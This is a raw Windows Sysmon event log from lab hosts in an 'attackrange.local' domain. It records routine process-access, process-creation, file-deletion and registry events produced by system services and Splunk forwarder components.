14:53:32.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015485Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015484Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015483Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015482Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.753{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-716C-613B-D604-00000000F101}3328C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015481Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.753{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-716C-613B-D604-00000000F101}3328C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015480Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.754{625C326B-716C-613B-D604-00000000F101}3328C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015479Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.643{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7364587F2972335F96CD08A88A88ACD3,SHA256=A757B861E88C54D9ACB60096D5E9BD0DBD87E8990CBF322274083A02EDA593A4,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015478Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.503{625C326B-716C-613B-D504-00000000F101}37802312C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:32.018{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=D9E7FDB7076664B17B67EDAE89BA84D6,SHA256=ADAE8DFAE0EF8535C8F910D8C60A99C65E04314AC240794581B89CBF5F83C353,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015477Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.253{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-716C-613B-D504-00000000F101}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015476Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.253{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015475Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.253{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015474Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.253{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015473Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.253{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015472Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.253{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015471Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.253{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015470Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.253{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015469Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.253{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015468Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.253{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015467Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.253{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-716C-613B-D504-00000000F101}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015466Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.253{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-716C-613B-D504-00000000F101}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015465Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:32.253{625C326B-716C-613B-D504-00000000F101}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:33.908{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D1AB25F98EC480F088A535EAD3106660,SHA256=186942BA164B1785CDA4E23AA7C740EED476074FC6E9E70015FC9C69AF50B9A7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015495Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:33.518{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4200CA532C4E69255FFF1B2461F184C3,SHA256=E70BB45B57467C9B325BAA459E03D2884416704A504887460019E954D64C70A8,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000047862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:53:33.346{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000006) 13241300x800000000000000047861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:53:33.346{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x002de777) 13241300x800000000000000047860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:53:33.346{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64b-0x3e6527cd) 13241300x800000000000000047859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:53:33.346{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a653-0xa0298fcd) 13241300x800000000000000047858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:53:33.346{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65c-0x01edf7cd) 13241300x800000000000000047857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:53:33.346{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000006) 13241300x800000000000000047856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:53:33.346{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x002de777) 13241300x800000000000000047855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:53:33.346{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64b-0x3e6527cd) 13241300x800000000000000047854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:53:33.346{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a653-0xa0298fcd) 13241300x800000000000000047853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:53:33.346{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65c-0x01edf7cd) 23542300x800000000000000047865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:34.924{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C6C8849394CB7B88820DF56514A5D528,SHA256=2EB8B5871D2F594D4BEC87620FBD9835FAF9ECBE02C5168A51741F1343BDC8BB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015510Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:34.550{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FAB1F4F42AAD4400504B509F09DD0A8D,SHA256=B51139DDF3120C73AF18529649182481B2B9E35EAB45825DEFD0215A1386A7C0,IMPHASH=00000000000000000000000000000000falsetrue 